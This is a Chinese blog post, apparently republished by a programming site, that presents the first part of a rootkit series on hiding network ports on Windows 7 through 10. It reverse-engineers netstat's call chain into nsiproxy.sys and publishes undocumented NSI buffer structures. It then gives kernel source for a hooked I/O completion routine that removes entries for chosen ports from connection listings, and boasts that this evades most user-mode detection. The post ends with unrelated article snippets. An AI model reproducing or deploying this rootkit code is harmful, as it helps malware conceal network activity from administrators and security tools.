Rookit系列一 【隐藏网络端口】【支持Win7 x32/x64 ~ Win10 x32/x64】

文章目录

  • Rookit系列一 【隐藏网络端口】【支持Win7 x32/x64 ~ Win10 x32/x64】
    • 前言
    • 探究隐藏网络端口
      • netstat分析
      • 隐藏网络端口的原理
      • 关键数据结构
      • 隐藏网络端口源码
    • 效果演示

Rookit系列一 【隐藏网络端口】【支持Win7 x32/x64 ~ Win10 x32/x64】

前言

Rookit是个老生常谈的话题了,它包括隐藏进程、隐藏模块、隐藏端口等隐藏技术和其他对抗杀软的技术。作为一名二进制安全研究员你可以不去写这些代码,但你不能不懂,也因为最近隔壁组的同事在做这方面的检测向我请教了一些问题,索性我就利用空余时间研究了一下网络端口的隐藏。

网上随便去搜搜隐藏端口的资料,发现能用的几乎没有。 这才是我研究的动力和分享的意义。 \textcolor{green}{这才是我研究的动力和分享的意义。} 这才是我研究的动力和分享的意义。于是就自己研究了一通,发现也没什么特别的。

本篇分享的隐藏端口方法可过绝大部分应用层软件的检测 \textcolor{Red}{本篇分享的隐藏端口方法可过绝大部分应用层软件的检测} 本篇分享的隐藏端口方法可过绝大部分应用层软件的检测

探究隐藏网络端口

netstat分析

这一切还得从netstat工具开始说起,相信很多人都用过这款工具来查看系统建立的所有网络连接信息。我常用的方式:

netstat -a

为了弄明白这款工具的工作原理,我对其进行了简单地逆向分析。

首先netstat会调用 I n i t S n m p \textcolor{cornflowerblue}{InitSnmp} InitSnmp函数初始化一些需要用到的函数

DWORD __stdcall InitSnmp()
{
...v8 = _time(0);if ( !GetSystemDirectoryA(Buffer, 0x104u) )return GetLastError();v1 = &Buffer[strlen(Buffer)];if ( verbose ){if ( StringCbCopyA(v1, (char *)&v10 - v1, "\\mgmtapi.dll") < 0 )return 8;LibraryA = LoadLibraryA(Buffer);if ( LibraryA )pSnmpMgrOidToStr = (int)GetProcAddress(LibraryA, "SnmpMgrOidToStr");}if ( StringCbCopyA(v1, (char *)&v10 - v1, "\\inetmib1.dll") < 0 )return 8;v3 = LoadLibraryA(Buffer);v4 = v3;if ( !v3 )return 2;gInitAddr = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))GetProcAddress(v3, "SnmpExtensionInit");if ( !gInitAddr )return 2;gQueryAddr = (int)GetProcAddress(v4, "SnmpExtensionQuery");if ( !gQueryAddr )return 2;gInitAddr(v8, v7, v6);return 0;
}

然后调用 i n e t m i b 1 ! S n m p E x t e n s i o n I n i t \textcolor{cornflowerblue}{inetmib1!SnmpExtensionInit} inetmib1!SnmpExtensionInit,内部会调用 i n e t m i b 1 U ! p d a t e C a c h e \textcolor{cornflowerblue}{inetmib1U!pdateCache} inetmib1U!pdateCache

int __stdcall UpdateCache(int a1)
{int v2; // [esp+10h] [ebp-1Ch]RtlAcquireResourceExclusive(&g_LockTable + a1, 1u);if ( g_dwLastUpdateTable[a1] && GetTickCount() - g_dwLastUpdateTable[a1] < g_dwTimeoutTable[a1] )goto LABEL_6;v2 = g_pfnLoadFunctionTable[a1]();	// 根据传进来的参数为1可以知道将会调用的函数是LoadIfTableif ( !v2 ){g_dwLastUpdateTable[a1] = GetTickCount();
LABEL_6:v2 = 0;goto LABEL_7;}g_dwLastUpdateTable[a1] = 0;
LABEL_7:RtlReleaseResource(&g_LockTable + a1);return v2;
}
int __stdcall LoadIfTable()
{int result; // eaxif ( lpMem ){HeapFree(g_hPrivateHeap, 0, lpMem);lpMem = 0;}if ( dword_3F4C708 ){NsiFreeTable(dword_3F4C708, dword_3F4C70C, dword_3F4C710, dword_3F4C714);dword_3F4C708 = 0;dword_3F4C70C = 0;dword_3F4C710 = 0;dword_3F4C714 = 0;dword_3F4C718 = 0;}result = InternalGetIfTable(&lpMem, g_hPrivateHeap, 0);if ( !result )return NsiAllocateAndGetTable(1,&NPI_MS_NDIS_MODULEID,0,&dword_3F4C708,8,&dword_3F4C70C,0x440,&dword_3F4C710,0xD8,&dword_3F4C714,0x258,&dword_3F4C718,0);return result;
}

其中最关键的就是函数 N s i A l l o c a t e A n d G e t T a b l e \textcolor{cornflowerblue}{NsiAllocateAndGetTable} NsiAllocateAndGetTable,实际调用的是导入函数 N S I ! N s i A l l o c a t e A n d G e t T a b l e \textcolor{cornflowerblue}{NSI!NsiAllocateAndGetTable} NSI!NsiAllocateAndGetTable,接着调用 N S I ! N s i E n u m e r a t e O b j e c t s A l l P a r a m e t e r s E x \textcolor{cornflowerblue}{NSI!NsiEnumerateObjectsAllParametersEx} NSI!NsiEnumerateObjectsAllParametersEx去往内核。

int __stdcall NsiEnumerateObjectsAllParametersEx(PVOID InputBuffer)
{DWORD BytesReturned; // [esp+0h] [ebp-4h] BYREFBytesReturned = 0x3C;return NsiIoctl(0x12001Bu, InputBuffer, 0x3Cu, InputBuffer, &BytesReturned, 0);
}ULONG __stdcall NsiIoctl(ULONG IoControlCode,PVOID InputBuffer,ULONG InputBufferLength,PVOID OutputBuffer,LPDWORD lpBytesReturned,LPOVERLAPPED lpOverlapped)
{
...result = NsiOpenDevice(1);if ( result )return result;v7 = *lpBytesReturned;if ( lpOverlapped ){if ( DeviceIoControl(g_NsiAsyncDeviceHandle,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,v7,lpBytesReturned,lpOverlapped) ){return 0;}return GetLastError();}
...
}

接收 N S I ! N s i I o c t l \textcolor{cornflowerblue}{NSI!NsiIoctl} NSI!NsiIoctl发出的控制码并处理是在 n s i p r o x y ! N s i p p D i s p a t c h D e v i c e C o n t r o l \textcolor{cornflowerblue}{nsiproxy!NsippDispatchDeviceControl} nsiproxy!NsippDispatchDeviceControl

int __stdcall NsippDispatchDeviceControl(PIRP pIrp, _IO_STACK_LOCATION *Iostk)
{// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]MasterIrp = pIrp->AssociatedIrp.MasterIrp;RequestorMode = pIrp->RequestorMode;p_Information = &pIrp->IoStatus.Information;pIrp->IoStatus.Information = 0;LOBYTE(pIrp) = RequestorMode;LowPart = Iostk->Parameters.Read.ByteOffset.LowPart;Options = Iostk->Parameters.Create.Options;Irqla = (unsigned __int8)MasterIrp;Parameters = Iostk->Parameters.CreatePipe.Parameters;if ( LowPart <= 0x120023 ){if ( LowPart == 0x120023 )return NsippDeregisterChangeNotification((KIRQL)Parameters, Options, (char)pIrp, (int)Iostk);v10 = LowPart - 0x120007;if ( !v10 )return NsippGetParameter(Parameters, Options, (char)pIrp, (int)p_Information);v11 = v10 - 4;if ( !v11 )return NsippSetParameter(Parameters, Options, (char)pIrp);v12 = v11 - 4;if ( !v12 )return NsippGetAllParameters(Parameters, Options, (char)pIrp, (int)p_Information);v13 = v12 - 4;if ( !v13 )return NsippSetAllParameters((KIRQL)Parameters, (PKSPIN_LOCK)Options, (char)pIrp, (int)Iostk);v14 = v13 - 8;if ( !v14 )                                 // 0x12001Bureturn NsippEnumerateObjectsAllParameters(Parameters, Options, (int)pIrp, p_Information); // 枚举所有网络连接的参数if ( v14 == 4 )return NsippRegisterChangeNotification(Parameters, Options, (char)pIrp, (int)Iostk, (int)p_Information);return 0xC0000002;}v16 = LowPart - 0x12003F;if ( !v16 )return NsippRequestChangeNotification((PKSPIN_LOCK)pIrp, (KIRQL)Parameters, Options, (KIRQL)pIrp);v17 = v16 - 1;if ( !v17 )return NsippCancelChangeNotification(Irqla, Options);v18 = v17 - 7;if ( !v18 )return NsippEnumerateObjectsAllPersistentParametersWithMask(Parameters, Options, (char)pIrp, (int)p_Information);v19 = v18 - 4;if ( !v19 )return NsippGetAllPersistentParametersWithMask(Parameters, Options, (char)pIrp, (int)p_Information);if ( v19 != 4 )return 0xC0000002;return NsippSetAllPersistentParametersWithMask(Parameters, Options, (char)pIrp, (int)p_Information);
}

现在总结一下netstat的主要调用链:

n e t s t a t ! I n i t S n m p − > i n e t m i b 1 ! S n m p E x t e n s i o n I n i t − > i n e t m i b 1 ! U p d a t e C a c h e − > i n e t m i b 1 ! _ L o a d I f T a b l e − > N S I ! N s i A l l o c a t e A n d G e t T a b l e − > \textcolor{orange}{netstat!InitSnmp\ ->\ inetmib1!SnmpExtensionInit\ -> \ inetmib1!UpdateCache\ -> inetmib1!\_LoadIfTable\ -> \ NSI!NsiAllocateAndGetTable\ ->} netstat!InitSnmp > inetmib1!SnmpExtensionInit > inetmib1!UpdateCache >inetmib1!_LoadIfTable > NSI!NsiAllocateAndGetTable >

N S I ! N s i E n u m e r a t e O b j e c t s A l l P a r a m e t e r s − > N S I ! N s i E n u m e r a t e O b j e c t s A l l P a r a m e t e r s E x − > n s i p r o x y ! N s i p p E n u m e r a t e O b j e c t s A l l P a r a m e t e r s \textcolor{orange}{\ NSI!NsiEnumerateObjectsAllParameters\ -> NSI!NsiEnumerateObjectsAllParametersEx\ ->\ nsiproxy!NsippEnumerateObjectsAllParameters}  NSI!NsiEnumerateObjectsAllParameters >NSI!NsiEnumerateObjectsAllParametersEx > nsiproxy!NsippEnumerateObjectsAllParameters

隐藏网络端口的原理

nsiproxy.sys驱动创建的设备对象叫\Device\Nsi,我们可以HOOK它的设备IO控制派遣函数,过滤控制码0x12001B,替换原设备处理该控制码的完成例程。在我们的完成例程中解析数据,抹掉我们的目标数据就能够实现端口隐藏了。

然后最最最关键的地方来了,就是如何解析数据,他的数据结构是什么?我想这才是网上几乎没有可用的源码的原因了吧。在win7之前尚且有人发过可用的源码,而win7及其以后的系统中就没有可用的源码了。倒不是因为这个技术行不通了,而是没人去分析它的数据结构了,也或者研究的人并不打算放出来。

那么今天我将重新分析并给出其结构,我想这应该是全网仅此一家了吧。希望看到这的帅哥美女能够给我点个赞,毕竟研究不易。 \textcolor{green}{那么今天我将重新分析并给出其结构,我想这应该是全网仅此一家了吧。希望看到这的帅哥美女能够给我点个赞,毕竟研究不易。} 那么今天我将重新分析并给出其结构,我想这应该是全网仅此一家了吧。希望看到这的帅哥美女能够给我点个赞,毕竟研究不易。

关键数据结构

typedef struct _NET_INFO
{USHORT Type;            		// +0x00USHORT lPort;           		// +0x02ULONG lHost;            		// +0x04char Reserved1[0x16];   		// +0x08USHORT rPort;           		// +0x1EULONG rHost;            		// +0x20char Reserved2[0x14];   		// +0x24
}NET_INFO, * PNET_INFO;       	// Total:0x38typedef struct _PROC_INFO {ULONG Reserved1[3];				// +0x00ULONG OwnerPid;					// +0x0CLARGE_INTEGER CreateTimestamp;	// +0x10ULONGLONG OwningModuleInfo;		// +0x18
}PROC_INFO, * PPROC_INFO;				// Total:0x20typedef struct _STATE_INFO
{ULONG State;						// +0x00ULONG Reserved1;					// +0x04LARGE_INTEGER CreateTimestamp;	// +0x08
}STATE_INFO, * PSTATE_INFO;			// Total:0x10// nsiproxy缓冲区inBuffer/outBuffer布局:
typedef struct _MIB_PARAMX32
{ULONG Unk_0;						// +0x00ULONG Unk_1;						// +0x04ULONG* POINTER_32 ModuleId;		// +0x08ULONG dwType;					// +0x0CULONG Unk_2;						// +0x10ULONG Unk_3;						// +0x14VOID* POINTER_32 NetInfo;			// +0x18ULONG NetInfoSize;				// +0x1CVOID* POINTER_32 outBuffer;		// +0x20ULONG outBufferSize;				// +0x24VOID* POINTER_32 StateInfo;		// +0x28ULONG StateInfoSize;				// +0x2CVOID* POINTER_32 ProcInfo;		// +0x30ULONG ProcInfoSize;				// +0x34ULONG ConnectCounts;				// +0x38
}MIB_PARAMX32, * PMIB_PARAMX32;		// Total:0x3Ctypedef struct _MIB_PARAMX64
{ULONG64 Unk_0;					// +0x00ULONG* ModuleId;					// +0x08ULONG64 dwType;					// +0x10ULONG64 Unk_2;					// +0x18ULONG64 Unk_3;					// +0x20PVOID NetInfo;					// +0x28ULONG64 NetInfoSize;				// +0x30PVOID outBuffer;					// +0x38ULONG64 outBufferSize;			// +0x40PVOID StateInfo;					// +0x48ULONG64 StateInfoSize;			// +0x50PVOID ProcInfo;					// +0x58ULONG64 ProcInfoSize;				// +0x60ULONG64 ConnectCounts;			// +0x68
}MIB_PARAMX64, * PMIB_PARAMX64;		// Total:0x70

隐藏网络端口源码

为防止script kid直接拿来用,源码只放出最关键部分,其余部分还需各位帅哥美女自己完善~

NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context) {PHOOK_IO_COMPLETION hookContext;PIO_COMPLETION_ROUTINE OriginalCompletion;PNET_INFO pNetInfo = NULL;hookContext = (PHOOK_IO_COMPLETION)Context;OriginalCompletion = hookContext->OriginalCompletion;PIO_STACK_LOCATION irpspNext = IoGetNextIrpStackLocation(Irp);if (!NT_SUCCESS(Irp->IoStatus.Status)){goto free_exit;}#ifdef _WIN64if (IoIs32bitProcess(NULL)){
#endifPMIB_PARAMX32 pNsiParam = (PMIB_PARAMX32)Irp->UserBuffer;if (pNsiParam->NetInfoSize == sizeof(NET_INFO)){if (MmIsAddressValid(pNsiParam->NetInfo)){pNetInfo = (PNET_INFO)pNsiParam->NetInfo;for (ULONG i = 0; i < pNsiParam->ConnectCounts;){// 这里默认隐藏80和443端口if (htons(pNetInfo[i].lPort) == 80 ||htons(pNetInfo[i].lPort) == 443 ||htons(pNetInfo[i].rPort) == 80 ||htons(pNetInfo[i].rPort) == 443){if (i < pNsiParam->ConnectCounts - 1){for (ULONG j = i; j < pNsiParam->ConnectCounts - 1; j++){// 从此开始将后面的数据向前移动,覆盖当前位置的数据,达到隐藏目的RtlCopyMemory(&pNetInfo[j], &pNetInfo[j + 1], sizeof(NET_INFO));}}else{RtlZeroMemory(&pNetInfo[i], sizeof(NET_INFO));}// 记得将总的连接数减去1,因为已经隐藏了一个pNsiParam->ConnectCounts -= 1;}else{i++;}}}}
#ifdef _WIN64}else{PMIB_PARAMX64 pNsiParam = (PMIB_PARAMX64)Irp->UserBuffer;if (pNsiParam->NetInfoSize == sizeof(NET_INFO)){if (MmIsAddressValid(pNsiParam->NetInfo)){pNetInfo = (PNET_INFO)pNsiParam->NetInfo;for (ULONG i = 0; i < pNsiParam->ConnectCounts;){// 这里默认隐藏80和443端口if (htons(pNetInfo[i].lPort) == 80 ||htons(pNetInfo[i].lPort) == 443 ||htons(pNetInfo[i].rPort) == 80 ||htons(pNetInfo[i].rPort) == 443){if (i < pNsiParam->ConnectCounts - 1){for (ULONG j = i; j < pNsiParam->ConnectCounts - 1; j++){// 从此开始将后面的数据向前移动,覆盖当前位置的数据,达到隐藏目的RtlCopyMemory(&pNetInfo[j], &pNetInfo[j + 1], sizeof(NET_INFO));}}else{RtlZeroMemory(&pNetInfo[i], sizeof(NET_INFO));}// 记得将总的连接数减去1,因为已经隐藏了一个pNsiParam->ConnectCounts -= 1;}else{i++;}}}}}
#endiffree_exit:irpspNext->Context = hookContext->OriginalContext;irpspNext->CompletionRoutine = hookContext->OriginalCompletion;ExFreePoolWithTag(Context, MY_MEMORY_TAG);if (hookContext->bShouldInvolve){return (OriginalCompletion)(DeviceObject, Irp, NULL);}else{if (Irp->PendingReturned) {IoMarkIrpPending(Irp);}return STATUS_SUCCESS;}}

效果演示

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/75482.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python中*与**的使用

文章目录 前言一、*与**在函数定义时二、*与**在函数调用时 前言 在python中*与**的使用要区分是在函数定义时还是在函数调用时。 一、*与**在函数定义时 def deng(*args,**kwargs):print(args)print(kwargs)deng(1,2,3,a 4,b 5)在函数定义时参数前面使用*&#xff0c;代表…

vue echart3个饼图

概览&#xff1a;根据UI设计需要做3个饼图且之间有关联&#xff0c;并且处理后端返回的数据。 参考链接&#xff1a; echart 官网的一个案例&#xff0c;3个饼图 实现思路&#xff1a; 根据案例&#xff0c;把数据处理成对应的。 参考代码&#xff1a; 1.处理后端数据&am…

Android Tencent Shadow 插件接入指南

Android Tencent Shadow 插件接入指南 插件化简述一、clone 仓库二、编译运行官方demo三、发布Shadow到我们本地仓库3.1、安装Nexus 3.x版本3.2、修改发布配置3.3、发布仓库3.4、引用仓库包 四、编写我们自己的代码4.1、新建项目导入maven等共同配置4.1.1、导入buildScript4.1.…

DoIP学习笔记系列:(四)用CAPL脚本读取DID的关键点

文章目录 1. 如何在CAPL中读取DID?1.1 避坑如何新建CAPL工程,在此不再赘述,本章主要分享一下如何在CAPL中调用DoIP接口、diag接口进行DoIP和诊断的测试。 1. 如何在CAPL中读取DID? 通常在实际项目中,会有很多DID,各种版本号、各种观测量,如果手动点,显然很麻烦,如果要…

PHP实现首字母头像

<?php $name"哈哈"; $logoletter_avatar($name);echo <img src".$logo." style" border-radius: 50%;">;function letter_avatar($text) {$total unpack(L, hash(adler32, $text, true))[1];$hue $total % 360;list($r, $g, $b) hs…

【网络基础进阶之路】设计网络划分的实战详解

PS&#xff1a;本要求基于华为的eNSP模拟软件进行 具体要求&#xff1a; 完成步骤&#xff1a; 1、对192.168.1.0/24进行子网划分 2、对每一个路由器进行IP的配置 3、开始静态路由的书写&#xff0c;在写之前&#xff0c;我们可以先对每一个路由器写一条通向右边的缺省路由&…

最不透明的211!大幅度扩招!但数据分析太难做了!

一、学校及专业介绍 中国传媒大学&#xff08;Communication University of China&#xff09;&#xff0c;简称“中传”&#xff0c;位于首都北京市&#xff0c;是中华人民共和国教育部直属的信息传播领域行业特色大学&#xff0c;国家“双一流”建设高校&#xff0c;国家“21…

【新版系统架构补充】-七层模型

网络功能和分类 计算网络的功能 &#xff1a;数据通信、资源共享、管理集中化、实现分布式处理、负载均衡 网络性能指标&#xff1a;速率、带宽&#xff08;频带宽度或传送线路速率&#xff09;、吞吐量、时延、往返时间、利用率 网络非性能指标&#xff1a;费用、质量、标准化…

组合总和 II——力扣40

文章目录 题目描述法一 回溯 题目描述 法一 回溯 class Solution{ public:vector<pair<int, int>>freq;vector<vector<int>> res;vector<int> seq;void dfs(int pos, int rest){//如果目标值为0&#xff0c;说明可能有一个组合或者rest本身为0 …

flask处理表单数据

flask处理表单数据 处理表单数据在任何 web 应用开发中都是一个常见的需求。在 Flask 中&#xff0c;你可以使用 request 对象来获取通过 HTTP 请求发送的数据。对于 POST 请求&#xff0c;可以通过 request.form 访问表单数据。例如&#xff1a; from flask import Flask, r…

Kafka的配置和使用

目录 1.服务器用docker安装kafka 2.springboot集成kafka实现生产者和消费者 1.服务器用docker安装kafka ①、安装docker&#xff08;docker类似于linux的软件商店&#xff0c;下载所有应用都能从docker去下载&#xff09; a、自动安装 curl -fsSL https://get.docker.com | b…

DeepVO 论文阅读

论文信息 题目&#xff1a;DeepVO Towards End-to-End Visual Odometry with Deep Recurrent Convolutional Neural Networks 作者&#xff1a;Sen Wang, Ronald Clark, Hongkai Wen and Niki Trigoni 代码地址&#xff1a;http://senwang.gitlab.io/DeepVO/ (原作者并没有开源…

C语言文件操作

&#x1f389;个人名片&#xff1a; &#x1f43c;作者简介&#xff1a;一名乐于分享在学习道路上收获的大二在校生 &#x1f43b;‍❄个人主页&#x1f389;&#xff1a;GOTXX &#x1f43c;个人WeChat&#xff1a;ILXOXVJE &#x1f43c;本文由GOTXX原创&#xff0c;首发CSDN…

机器学习入门之 pandas

pandas 有三种数据结构 一种是 Series 一种是 Dataframe import pandas as pd import numpy as np score np.random.randint(0,100,[10,5])score[0,0] 100Datascore pd.DataFrame(score)subject ["语文","数学","英语","物理&quo…

Oracle设置某个表字段递增

当Oracle设置字段递增创建触发器 先建一个序列&#xff0c;打开PLSQL 找到Sequences&#xff0c;右击新建 根据自己的需要填写 然后添加触发器&#xff0c;点新建-程序窗口-空白 --TEST_ID为触发器的名字&#xff0c;TEST是添加触发器的表名 CREATE OR REPLACE TRIGGER &qu…

Word中如何断开表格中线段

Word中如何断开表格中线段_word表格断线怎么弄_仰望星空_LiDAR的博客-CSDN博客有时候为了美观&#xff0c;需要实现如下的效果&#xff0c;即第2条线段被断开成3段步骤如下&#xff1a;选中需要断开的格网&#xff0c;如下&#xff0c;再选择段落、针对下框标即可。_word表格断…

iOS - 解压ipa包中的Assert.car文件

项目在 Archive 打包后&#xff0c;生成ipa包 将 xxx.ipa文件修改为zip后缀即 xxx.zip &#xff0c;然后再双击解压&#xff0c;会生成一个 Payload 文件夹&#xff0c;里面一个文件 如下图&#xff1a; 然后显示改文件的包内容&#xff1a; 解压 Assets.car 文件的方式&…

Redis 安装以及配置隧道连接

目录 1.CentOS 1. 安装Redis 2. Redis 启动和停⽌ 3. 操作Redis 2.Ubuntu 1. 安装Redis 2. Redis 启动/停⽌ 3. 操作 Redis 3.开启隧道 3.1 Xshell 配置隧道 3.2 windTerm 配置隧道 3.3 FinalShell配置隧道 4.可视化客户端连接 Another Redis Desktop Manager 1.Cen…

【图像去噪】基于原始对偶算法优化的TV-L1模型进行图像去噪研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

Flutter Flar动画实战

在Flare动面出现之前,Flare动画大体可以分为使用AnimationController控制的基础动画以及使用Hero的转场动画,如果遇到一些复杂的场景,使用这些动画方案实现起来还是有难度的。不过,随着Flutter开始支持Flare矢量动面,Flutter的动画开发也变得越来越简单。事实上,Flare动画…